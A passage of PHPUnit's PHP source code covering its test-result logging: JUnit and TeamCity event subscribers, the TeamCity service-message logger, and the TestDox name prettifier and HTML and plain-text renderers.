void { $this->logger()->testFailed($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends Subscriber implements FinishedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Finished $event): void { $this->logger()->testFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\MarkedIncompleteSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMarkedIncompleteSubscriber extends Subscriber implements MarkedIncompleteSubscriber { /** * @throws InvalidArgumentException */ public function notify(MarkedIncomplete $event): void { $this->logger()->testMarkedIncomplete($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\PreparationFailed; use PHPUnit\Event\Test\PreparationFailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparationFailedSubscriber extends Subscriber implements PreparationFailedSubscriber { /** * @throws InvalidArgumentException */ public function notify(PreparationFailed $event): void { $this->logger()->testPreparationFailed(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\PreparationStarted; use PHPUnit\Event\Test\PreparationStartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparationStartedSubscriber extends Subscriber implements PreparationStartedSubscriber { /** * @throws InvalidArgumentException */ public function notify(PreparationStarted $event): void { $this->logger()->testPreparationStarted($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PreparedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparedSubscriber extends Subscriber implements PreparedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Prepared $event): void { $this->logger()->testPrepared(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\Test\PrintedUnexpectedOutput; use PHPUnit\Event\Test\PrintedUnexpectedOutputSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPrintedUnexpectedOutputSubscriber extends Subscriber implements PrintedUnexpectedOutputSubscriber { public function notify(PrintedUnexpectedOutput $event): void { $this->logger()->testPrintedUnexpectedOutput($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\TestRunner\ExecutionFinished; use PHPUnit\Event\TestRunner\ExecutionFinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunnerExecutionFinishedSubscriber extends Subscriber implements ExecutionFinishedSubscriber { public function notify(ExecutionFinished $event): void { $this->logger()->flush(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSkippedSubscriber extends Subscriber implements SkippedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Skipped $event): void { $this->logger()->testSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\TestSuite\Finished; use PHPUnit\Event\TestSuite\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteFinishedSubscriber extends Subscriber implements FinishedSubscriber { public function notify(Finished $event): void { $this->logger()->testSuiteFinished(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\TestSuite\Started; use PHPUnit\Event\TestSuite\StartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteStartedSubscriber extends Subscriber implements StartedSubscriber { public function notify(Started $event): void { $this->logger()->testSuiteStarted($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly TeamCityLogger $logger; public function __construct(TeamCityLogger $logger) { $this->logger = $logger; } protected function logger(): TeamCityLogger { return $this->logger; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\ConsideredRiskySubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestConsideredRiskySubscriber extends Subscriber implements ConsideredRiskySubscriber { /** * @throws InvalidArgumentException */ public function notify(ConsideredRisky $event): void { $this->logger()->testConsideredRisky($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestErroredSubscriber extends Subscriber implements ErroredSubscriber { /** * @throws InvalidArgumentException */ public function notify(Errored $event): void { $this->logger()->testErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\FailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailedSubscriber extends Subscriber implements FailedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Failed $event): void { $this->logger()->testFailed($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends Subscriber implements FinishedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Finished $event): void { $this->logger()->testFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\MarkedIncompleteSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMarkedIncompleteSubscriber extends Subscriber implements MarkedIncompleteSubscriber { /** * @throws InvalidArgumentException */ public function notify(MarkedIncomplete $event): void { $this->logger()->testMarkedIncomplete($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PreparedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparedSubscriber extends Subscriber implements PreparedSubscriber { public function notify(Prepared $event): void { $this->logger()->testPrepared($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\TestRunner\ExecutionFinished; use PHPUnit\Event\TestRunner\ExecutionFinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunnerExecutionFinishedSubscriber extends Subscriber implements ExecutionFinishedSubscriber { public function notify(ExecutionFinished $event): void { $this->logger()->flush(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSkippedSubscriber extends Subscriber implements SkippedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Skipped $event): void { $this->logger()->testSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\BeforeFirstTestMethodErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteBeforeFirstTestMethodErroredSubscriber extends Subscriber implements BeforeFirstTestMethodErroredSubscriber { /** * @throws InvalidArgumentException */ public function notify(BeforeFirstTestMethodErrored $event): void { $this->logger()->beforeFirstTestMethodErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\TestSuite\Finished; use PHPUnit\Event\TestSuite\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteFinishedSubscriber extends Subscriber implements FinishedSubscriber { public function notify(Finished $event): void { $this->logger()->testSuiteFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\TestSuite\Skipped; use PHPUnit\Event\TestSuite\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteSkippedSubscriber extends Subscriber implements SkippedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Skipped $event): void { $this->logger()->testSuiteSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use PHPUnit\Event\TestSuite\Started; use PHPUnit\Event\TestSuite\StartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteStartedSubscriber extends Subscriber implements StartedSubscriber { public function notify(Started $event): void { $this->logger()->testSuiteStarted($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TeamCity; use function assert; use function getmypid; use function ini_get; use function is_a; use function round; use function sprintf; use function str_replace; use function stripos; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Telemetry\HRTime; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\TestSuite\Finished as TestSuiteFinished; use PHPUnit\Event\TestSuite\Skipped as TestSuiteSkipped; use PHPUnit\Event\TestSuite\Started as TestSuiteStarted; use PHPUnit\Event\TestSuite\TestSuiteForTestClass; use PHPUnit\Event\TestSuite\TestSuiteForTestMethodWithDataProvider; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Framework\Exception as FrameworkException; use PHPUnit\TextUI\Output\Printer; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TeamCityLogger { private readonly Printer $printer; private bool $isSummaryTestCountPrinted = false; private ?HRTime $time = null; private ?int $flowId; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Printer $printer, Facade $facade) { $this->printer = $printer; $this->registerSubscribers($facade); $this->setFlowId(); } public function testSuiteStarted(TestSuiteStarted $event): void { $testSuite = $event->testSuite(); if (!$this->isSummaryTestCountPrinted) { $this->isSummaryTestCountPrinted = true; $this->writeMessage( 'testCount', ['count' => $testSuite->count()], ); } $parameters = ['name' => $testSuite->name()]; if ($testSuite->isForTestClass()) { assert($testSuite instanceof TestSuiteForTestClass); $parameters['locationHint'] = sprintf( 'php_qn://%s::\\%s', $testSuite->file(), $testSuite->name(), ); } elseif ($testSuite->isForTestMethodWithDataProvider()) { assert($testSuite instanceof TestSuiteForTestMethodWithDataProvider); $parameters['locationHint'] = sprintf( 'php_qn://%s::\\%s', $testSuite->file(), $testSuite->name(), ); $parameters['name'] = $testSuite->methodName(); } $this->writeMessage('testSuiteStarted', $parameters); } public function testSuiteFinished(TestSuiteFinished $event): void { $testSuite = $event->testSuite(); $parameters = ['name' => $testSuite->name()]; if ($testSuite->isForTestMethodWithDataProvider()) { assert($testSuite instanceof TestSuiteForTestMethodWithDataProvider); $parameters['name'] = $testSuite->methodName(); } $this->writeMessage('testSuiteFinished', $parameters); } public function testPrepared(Prepared $event): void { $test = $event->test(); $parameters = [ 'name' => $test->name(), ]; if ($test->isTestMethod()) { assert($test instanceof TestMethod); $parameters['locationHint'] = sprintf( 'php_qn://%s::\\%s::%s', $test->file(), $test->className(), $test->name(), ); } $this->writeMessage('testStarted', $parameters); $this->time = $event->telemetryInfo()->time(); } /** * @throws InvalidArgumentException */ public function testMarkedIncomplete(MarkedIncomplete $event): void { if ($this->time === null) { // @codeCoverageIgnoreStart $this->time = $event->telemetryInfo()->time(); // @codeCoverageIgnoreEnd } $this->writeMessage( 'testIgnored', [ 'name' => $event->test()->name(), 'message' => $event->throwable()->message(), 'details' => $this->details($event->throwable()), 'duration' => $this->duration($event), ], ); } /** * @throws InvalidArgumentException */ public function testSkipped(Skipped $event): void { if ($this->time === null) { $this->time = $event->telemetryInfo()->time(); } $parameters = [ 'name' => $event->test()->name(), 'message' => $event->message(), ]; $parameters['duration'] = $this->duration($event); $this->writeMessage('testIgnored', $parameters); } /** * @throws InvalidArgumentException */ public function testSuiteSkipped(TestSuiteSkipped $event): void { if ($this->time === null) { $this->time = $event->telemetryInfo()->time(); } $parameters = [ 'name' => $event->testSuite()->name(), 'message' => $event->message(), ]; $parameters['duration'] = $this->duration($event); $this->writeMessage('testIgnored', $parameters); $this->writeMessage('testSuiteFinished', $parameters); } /** * @throws InvalidArgumentException */ public function beforeFirstTestMethodErrored(BeforeFirstTestMethodErrored $event): void { if ($this->time === null) { $this->time = $event->telemetryInfo()->time(); } $parameters = [ 'name' => $event->testClassName(), 'message' => $this->message($event->throwable()), 'details' => $this->details($event->throwable()), 'duration' => $this->duration($event), ]; $this->writeMessage('testFailed', $parameters); $this->writeMessage('testSuiteFinished', $parameters); } /** * @throws InvalidArgumentException */ public function testErrored(Errored $event): void { if ($this->time === null) { $this->time = $event->telemetryInfo()->time(); } $this->writeMessage( 'testFailed', [ 'name' => $event->test()->name(), 'message' => $this->message($event->throwable()), 'details' => $this->details($event->throwable()), 'duration' => $this->duration($event), ], ); } /** * @throws InvalidArgumentException */ public function testFailed(Failed $event): void { if ($this->time === null) { // @codeCoverageIgnoreStart $this->time = $event->telemetryInfo()->time(); // @codeCoverageIgnoreEnd } $parameters = [ 'name' => $event->test()->name(), 'message' => $this->message($event->throwable()), 'details' => $this->details($event->throwable()), 'duration' => $this->duration($event), ]; if ($event->hasComparisonFailure()) { $parameters['type'] = 'comparisonFailure'; $parameters['actual'] = $event->comparisonFailure()->actual(); $parameters['expected'] = $event->comparisonFailure()->expected(); } $this->writeMessage('testFailed', $parameters); } /** * @throws InvalidArgumentException */ public function testConsideredRisky(ConsideredRisky $event): void { if ($this->time === null) { // @codeCoverageIgnoreStart $this->time = $event->telemetryInfo()->time(); // @codeCoverageIgnoreEnd } $this->writeMessage( 'testFailed', [ 'name' => $event->test()->name(), 'message' => $event->message(), 'details' => '', 'duration' => $this->duration($event), ], ); } /** * @throws InvalidArgumentException */ public function testFinished(Finished $event): void { $this->writeMessage( 'testFinished', [ 'name' => $event->test()->name(), 'duration' => $this->duration($event), ], ); $this->time = null; } public function flush(): void { $this->printer->flush(); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerSubscribers(Facade $facade): void { $facade->registerSubscribers( new TestSuiteStartedSubscriber($this), new TestSuiteFinishedSubscriber($this), new TestPreparedSubscriber($this), new TestFinishedSubscriber($this), new TestErroredSubscriber($this), new TestFailedSubscriber($this), new TestMarkedIncompleteSubscriber($this), new TestSkippedSubscriber($this), new TestSuiteSkippedSubscriber($this), new TestConsideredRiskySubscriber($this), new TestRunnerExecutionFinishedSubscriber($this), new TestSuiteBeforeFirstTestMethodErroredSubscriber($this), ); } private function setFlowId(): void { if (stripos(ini_get('disable_functions'), 'getmypid') === false) { $this->flowId = getmypid(); } } private function writeMessage(string $eventName, array $parameters = []): void { $this->printer->print( sprintf( '##teamcity[%s', $eventName, ), ); if ($this->flowId !== null) { $parameters['flowId'] = $this->flowId; } foreach ($parameters as $key => $value) { $this->printer->print( sprintf( " %s='%s'", $key, $this->escape((string) $value), ), ); } $this->printer->print("]\n"); } /** * @throws InvalidArgumentException */ private function duration(Event $event): int { if ($this->time === null) { // @codeCoverageIgnoreStart return 0; // @codeCoverageIgnoreEnd } return (int) round($event->telemetryInfo()->time()->duration($this->time)->asFloat() * 1000); } private function escape(string $string): string { return str_replace( ['|', "'", "\n", "\r", ']', '['], ['||', "|'", '|n', '|r', '|]', '|['], $string, ); } private function message(Throwable $throwable): string { if (is_a($throwable->className(), FrameworkException::class, true)) { return $throwable->message(); } $buffer = $throwable->className(); if (!empty($throwable->message())) { $buffer .= ': ' . $throwable->message(); } return $buffer; } private function details(Throwable $throwable): string { $buffer = $throwable->stackTrace(); while ($throwable->hasPrevious()) { $throwable = $throwable->previous(); $buffer .= sprintf( "\nCaused by\n%s\n%s", $throwable->description(), $throwable->stackTrace(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class HtmlRenderer { /** * @var string */ private const PAGE_HEADER = <<<'EOT' Test Documentation EOT; /** * @var string */ private const CLASS_HEADER = <<<'EOT'

%s

    EOT; /** * @var string */ private const CLASS_FOOTER = <<<'EOT'
EOT; /** * @var string */ private const PAGE_FOOTER = <<<'EOT' EOT; /** * @psalm-param array $tests */ public function render(array $tests): string { $buffer = self::PAGE_HEADER; foreach ($tests as $prettifiedClassName => $_tests) { $buffer .= sprintf( self::CLASS_HEADER, $prettifiedClassName, ); foreach ($this->reduce($_tests) as $prettifiedMethodName => $outcome) { $buffer .= sprintf( "
  • %s
  • \n", $outcome, $prettifiedMethodName, ); } $buffer .= self::CLASS_FOOTER; } return $buffer . self::PAGE_FOOTER; } /** * @psalm-return array */ private function reduce(TestResultCollection $tests): array { $result = []; foreach ($tests as $test) { $prettifiedMethodName = $test->test()->testDox()->prettifiedMethodName(); if (!isset($result[$prettifiedMethodName])) { $result[$prettifiedMethodName] = $test->status()->isSuccess() ? 'success' : 'defect'; continue; } if ($test->status()->isSuccess()) { continue; } $result[$prettifiedMethodName] = 'defect'; } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use function array_key_exists; use function array_keys; use function array_map; use function array_pop; use function array_values; use function assert; use function class_exists; use function explode; use function gettype; use function implode; use function is_bool; use function is_float; use function is_int; use function is_object; use function is_scalar; use function method_exists; use function preg_quote; use function preg_replace; use function rtrim; use function sprintf; use function str_contains; use function str_ends_with; use function str_replace; use function str_starts_with; use function strlen; use function strtolower; use function strtoupper; use function substr; use function trim; use PHPUnit\Framework\TestCase; use PHPUnit\Metadata\Parser\Registry as MetadataRegistry; use PHPUnit\Metadata\TestDox; use PHPUnit\Util\Color; use ReflectionEnum; use ReflectionMethod; use ReflectionObject; use SebastianBergmann\Exporter\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NamePrettifier { /** * @psalm-var array */ private static array $strings = []; /** * @psalm-param class-string $className */ public function prettifyTestClassName(string $className): string { if (class_exists($className)) { $classLevelTestDox = MetadataRegistry::parser()->forClass($className)->isTestDox(); if ($classLevelTestDox->isNotEmpty()) { $classLevelTestDox = $classLevelTestDox->asArray()[0]; assert($classLevelTestDox instanceof TestDox); return $classLevelTestDox->text(); } } $parts = explode('\\', $className); $className = array_pop($parts); if (str_ends_with($className, 'Test')) { $className = substr($className, 0, strlen($className) - strlen('Test')); } if (str_starts_with($className, 'Tests')) { $className = substr($className, strlen('Tests')); } elseif (str_starts_with($className, 'Test')) { $className = substr($className, strlen('Test')); } if (empty($className)) { $className = 'UnnamedTests'; } if (!empty($parts)) { $parts[] = $className; $fullyQualifiedName = implode('\\', $parts); } else { $fullyQualifiedName = $className; } $result = preg_replace('/(?<=[[:lower:]])(?=[[:upper:]])/u', ' ', $className); if ($fullyQualifiedName !== $className) { return $result . ' (' . $fullyQualifiedName . ')'; } return $result; } // NOTE: this method is on a hot path and very performance sensitive. change with care. public function prettifyTestMethodName(string $name): string { if ($name === '') { return ''; } $string = rtrim($name, '0123456789'); if (array_key_exists($string, self::$strings)) { $name = $string; } elseif ($string === $name) { self::$strings[$string] = 1; } if (str_starts_with($name, 'test_')) { $name = substr($name, 5); } elseif (str_starts_with($name, 'test')) { $name = substr($name, 4); } if ($name === '') { return ''; } $name[0] = strtoupper($name[0]); $noUnderscore = str_replace('_', ' ', $name); if ($noUnderscore !== $name) { return trim($noUnderscore); } $wasNumeric = false; $buffer = ''; $len = strlen($name); for ($i = 0; $i < $len; $i++) { if ($i > 0 && $name[$i] >= 'A' && $name[$i] <= 'Z') { $buffer .= ' ' . strtolower($name[$i]); } else { $isNumeric = $name[$i] >= '0' && $name[$i] <= '9'; if (!$wasNumeric && $isNumeric) { $buffer .= ' '; $wasNumeric = true; } if ($wasNumeric && !$isNumeric) { $wasNumeric = false; } $buffer .= $name[$i]; } } return $buffer; } public function prettifyTestCase(TestCase $test, bool $colorize): string { $annotationWithPlaceholders = false; $methodLevelTestDox = MetadataRegistry::parser()->forMethod($test::class, $test->name())->isTestDox()->isMethodLevel(); if ($methodLevelTestDox->isNotEmpty()) { $methodLevelTestDox = $methodLevelTestDox->asArray()[0]; assert($methodLevelTestDox instanceof TestDox); $result = $methodLevelTestDox->text(); if (str_contains($result, '$')) { $annotation = $result; $providedData = $this->mapTestMethodParameterNamesToProvidedDataValues($test, $colorize); $variables = array_map( static fn (string $variable): string => sprintf( '/%s(?=\b)/', preg_quote($variable, '/'), ), array_keys($providedData), ); $result = preg_replace($variables, $providedData, $annotation); $annotationWithPlaceholders = true; } } else { $result = $this->prettifyTestMethodName($test->name()); } if (!$annotationWithPlaceholders && $test->usesDataProvider()) { $result .= $this->prettifyDataSet($test, $colorize); } return $result; } public function prettifyDataSet(TestCase $test, bool $colorize): string { if (!$colorize) { return $test->dataSetAsString(); } if (is_int($test->dataName())) { return Color::dim(' with data set ') . Color::colorize('fg-cyan', (string) $test->dataName()); } return Color::dim(' with ') . Color::colorize('fg-cyan', Color::visualizeWhitespace($test->dataName())); } private function mapTestMethodParameterNamesToProvidedDataValues(TestCase $test, bool $colorize): array { assert(method_exists($test, $test->name())); /** @noinspection PhpUnhandledExceptionInspection */ $reflector = new ReflectionMethod($test::class, $test->name()); $providedData = []; $providedDataValues = array_values($test->providedData()); $i = 0; $providedData['$_dataName'] = $test->dataName(); foreach ($reflector->getParameters() as $parameter) { if (!array_key_exists($i, $providedDataValues) && $parameter->isDefaultValueAvailable()) { $providedDataValues[$i] = $parameter->getDefaultValue(); } $value = $providedDataValues[$i++] ?? null; if (is_object($value)) { $value = $this->objectToString($value); } if (!is_scalar($value)) { $value = gettype($value); if ($value === 'NULL') { $value = 'null'; } } if (is_bool($value) || is_int($value) || is_float($value)) { $value = (new Exporter)->export($value); } if ($value === '') { if ($colorize) { $value = Color::colorize('dim,underlined', 'empty'); } else { $value = "''"; } } $providedData['$' . $parameter->getName()] = str_replace('$', '\\$', $value); } if ($colorize) { $providedData = array_map( static fn ($value) => Color::colorize('fg-cyan', Color::visualizeWhitespace((string) $value, true)), $providedData, ); } return $providedData; } /** * @return non-empty-string */ private function objectToString(object $value): string { $reflector = new ReflectionObject($value); if ($reflector->isEnum()) { $enumReflector = new ReflectionEnum($value); if ($enumReflector->isBacked()) { return (string) $value->value; } return $value->name; } if ($reflector->hasMethod('__toString')) { return $value->__toString(); } return $value::class; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PlainTextRenderer { /** * @psalm-param array $tests */ public function render(array $tests): string { $buffer = ''; foreach ($tests as $prettifiedClassName => $_tests) { $buffer .= $prettifiedClassName . "\n"; foreach ($this->reduce($_tests) as $prettifiedMethodName => $outcome) { $buffer .= sprintf( ' [%s] %s' . "\n", $outcome, $prettifiedMethodName, ); } $buffer .= "\n"; } return $buffer; } /** * @psalm-return array */ private function reduce(TestResultCollection $tests): array { $result = []; foreach ($tests as $test) { $prettifiedMethodName = $test->test()->testDox()->prettifiedMethodName(); $success = true; if ($test->status()->isError() || $test->status()->isFailure() || $test->status()->isIncomplete() || $test->status()->isSkipped()) { $success = false; } if (!isset($result[$prettifiedMethodName])) { $result[$prettifiedMethodName] = $success ? 'x' : ' '; continue; } if ($success) { continue; } $result[$prettifiedMethodName] = ' '; } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly TestResultCollector $collector; public function __construct(TestResultCollector $collector) { $this->collector = $collector; } protected function collector(): TestResultCollector { return $this->collector; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\ConsideredRiskySubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestConsideredRiskySubscriber extends Subscriber implements ConsideredRiskySubscriber { public function notify(ConsideredRisky $event): void { $this->collector()->testConsideredRisky($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestErroredSubscriber extends Subscriber implements ErroredSubscriber { public function notify(Errored $event): void { $this->collector()->testErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\FailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailedSubscriber extends Subscriber implements FailedSubscriber { public function notify(Failed $event): void { $this->collector()->testFailed($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends 